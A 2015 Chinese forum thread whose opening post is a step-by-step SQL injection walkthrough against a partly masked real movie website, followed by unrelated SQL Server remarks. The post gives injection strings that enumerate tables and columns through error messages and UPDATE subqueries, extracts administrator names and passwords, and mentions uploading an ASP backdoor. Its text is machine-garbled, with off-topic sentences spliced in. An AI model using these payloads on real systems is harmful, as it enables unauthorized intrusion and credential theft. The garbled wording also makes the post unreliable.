萌萌妈妈 发表于 2015-1-16 22:37:15

MSSQL编程:SQL注进的新技能

我们只需要把binlog文件反向执行,每个操作都执行逆操作即可。当然也不是所有的event都反转。Table_mapevent必须还是在Rows_log_event每个操作之前。技能 SQL注进的新技能来历:黑客基地
表名和字段名的取得
合用情形:
1)数据库是MSSQL
2)毗连数据库的只是一般用户
3)不晓得ASP源代码

能够举行的打击
1)对数据内容举行增加,检察,变动

实例:
本文件以
http://www.dy***.com/user/wantpws.asp
为列举行测试打击。

第一步:
在输出用户名处输出单引号,显现
MicrosoftOLEDBProviderforSQLServer毛病80040e14
字符串之前有未闭合的引号。

/user/wantpws.asp,行63

申明没有过滤单引号且数据库是MSSQL.

第二步:
输出a;usemaster;--
显现
MicrosoftOLEDBProviderforSQLServer毛病80040e21
多步OLEDB操纵发生毛病。假如大概,请反省每一个OLEDB形态值。没有事情被完成。

/user/wantpws.asp,行63
如许申明没有权限了。

第三步:
输出:aornamelikefff%;--
显现有一个叫ffff的用户哈。

第四步:
在用户名处输出
ffffand1(selectcount(email)from);--
显现:
MicrosoftOLEDBProviderforSQLServer毛病80040e37
工具名user有效。

/user/wantpws.asp,行96

申明没有叫user的表,换成users尝尝乐成,同时申明有一个叫email的列.
(西方飘云的一个举措是输出ahaving1=1--
一样平常前往以下也就能够间接失掉表名和一个字段名了
MicrosoftOLEDBProviderforSQLServer毛病80040e14
列users.ID在选择列表中有效,由于该列未包括在聚合函数中,而且没有GROUPBY子句。

/user/wantpws.asp,行63


)

如今我们晓得了ffff用户的暗码是111111.

上面经由过程语句失掉数据库中的一切表名和字段名。

第五步:
输出:
ffff;updatesetemail=(selecttop1namefromsysobjectswherextype=uandstatus>0)wherename=ffff;--
申明:
下面的语句是失掉数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
经由过程检察ffff的用户材料可得第一个用表叫ad
然后依据表名ad失掉这个表的ID
ffff;updatesetemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;--
同上可知id是:581577110
因为工具标记id是依据由小到年夜分列的以是我们能够失掉一切的用户表的名字了
象上面如许就能够失掉第二个表的名字了
ffff;updatesetemail=(selecttop1namefromsysobjectswherextype=uandid>581577110)wherename=ffff;--

ad581577110
users597577167
buy613577224
car629577281
learning645577338
log661577395
movie677577452
movieurl693577509
password709577566
type725577623
talk

经由一段工夫的推测后我们失掉下面的剖析一下应当分明password,users是最得要的

第六步:猜主要表的字段
输出:
如今就看看users表有哪些字段
ffff;updatesetemail=(selecttop1col_name(object_id(users),3)fromusers)wherename=ffff;--
失掉第三个字段是password
ffff;updatesetemail=(selecttop1col_name(object_id(users),4)fromusers)wherename=ffff;--
失掉第四个字段是name
最初users表的字段共28个全失掉了
(注:另外一个失掉字段的举措,条件是体系的前往堕落信息
agroupbyIDhaving1=1--
失掉
MicrosoftOLEDBProviderforSQLServer毛病80040e14
列users.userid在选择列表中有效,由于该列既不包括在聚合函数中,也不包括在GROUPBY子句中。

/user/wantpws.asp,行63
这个第二个字段就是userid
显现第三个字段。
agroupbyid,useridhaving1=1--

MicrosoftOLEDBProviderforSQLServer毛病80040e14
列users.password在选择列表中有效,由于该列既不包括在聚合函数中,也不包括在GROUPBY子句中。

/user/wantpws.asp,行63
失掉是password
同理,一向显现出一切。:)
)

users表
1234
iduseridpasswordname

5678910111213141516
Provincehomeaddresscityadressstarlooksexemailnlooknosdatemoneysend

171819202122232425262728
oklookdnlooklasthitsphoneaskmejoingetmoneypaynologintimemflagstatepostnote


starlook--121020032:41PM
nlook---0
nos---2上岸次数
date--1210200312:00AM注册工夫?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--这家伙很。。。申明

password表
123
idnamepwd

然后我又试ad本来是用来纪录告白击点的。。
然后又试password表失掉有name和pwd字段。
实行
ffff;updatesetemail=(selecttop1namefrompassword)wherename=ffff;--
可得第一个用户名是admin123看样儿多数是办理员了。
然后又失掉了暗码是dy***dick188仍是打星号算了哈哈...

如许我们就完整进进了这个影戏网站的背景了哈哈。
http://www.dy***.com/login.asp

再进一步还能够晓得办理员一共有三人暗码也都能看到了。
ffff;updatesetemail=(selecttop1count(id)frompassword)wherename=ffff;--
ffff;updatesetemail=(selecttop1pwdfrompasswordwhereid=2)wherename=ffff;--

ffff;updatesetemail=(selecttop1namefrompasswordwhereid=2)wherename=ffff;--


只是能收费看影戏好象还不敷哈..我看了看它的背景办理本来在
增加影戏的中央关于上传的图片没有过滤.asa的文件,如许我就
能上传一个asp后门并实行.


为多种编程语言提供了API。这些编程语言包括C、C++、Python、Java、Perl、PHP、Eiffel、Ruby和Tcl等。

只想知道 发表于 2015-1-19 18:58:23

一直以来个人感觉SQLServer的优化器要比Oracle的聪明。SQL2005的更是比2k聪明了不少。(有次作试验发现有的语句在200万级时还比50万级的相同语句要快show_text的一些提示没有找到解释。一直在奇怪。)

活着的死人 发表于 2015-1-28 09:27:09

语句级快照和事务级快照终于为SQLServer的并发性能带来了突破。个人感觉语句级快照大家应该应用。事务级快照,如果是高并发系统还要慎用。如果一个用户总是被提示修改不成功要求重试时,会杀人的!

爱飞 发表于 2015-2-5 15:27:27

大家注意一点。如下面的例子:

第二个灵魂 发表于 2015-2-12 14:35:40

以前的DTS轻盈简单。但是现在的SSIS虽然功能强大了很多,但是总是让人感觉太麻烦。看看论坛中询问SSIS的贴子就知道。做的功能太强大了,往往会有很多用户不会用了

再现理想 发表于 2015-3-3 03:44:49

理解了存储结构,再阅读下性能优化的章节基本上会对sqlserver有个清晰地认识

金色的骷髅 发表于 2015-3-11 09:21:31

我是新手,正在学习数据库和操作系统,深感理论的泛广,唯有一步一步来,但是又感觉时间不够,收集了很多资料却总是没能认真的看完,希望有一个讨论板块,大家共同解决,共同分享,共同努力

小魔女 发表于 2015-3-18 03:14:05

微软对CLR作了大篇幅的宣传,这是因为数据库产品终于融入.net体系中。最开始我们也是狂喜,感觉对象数据库的一些概念可以实现了。

仓酷云 发表于 2015-3-25 10:35:05

发几份SQL课件,以飨阅者
页: [1]
查看完整版本: MSSQL编程:SQL注进的新技能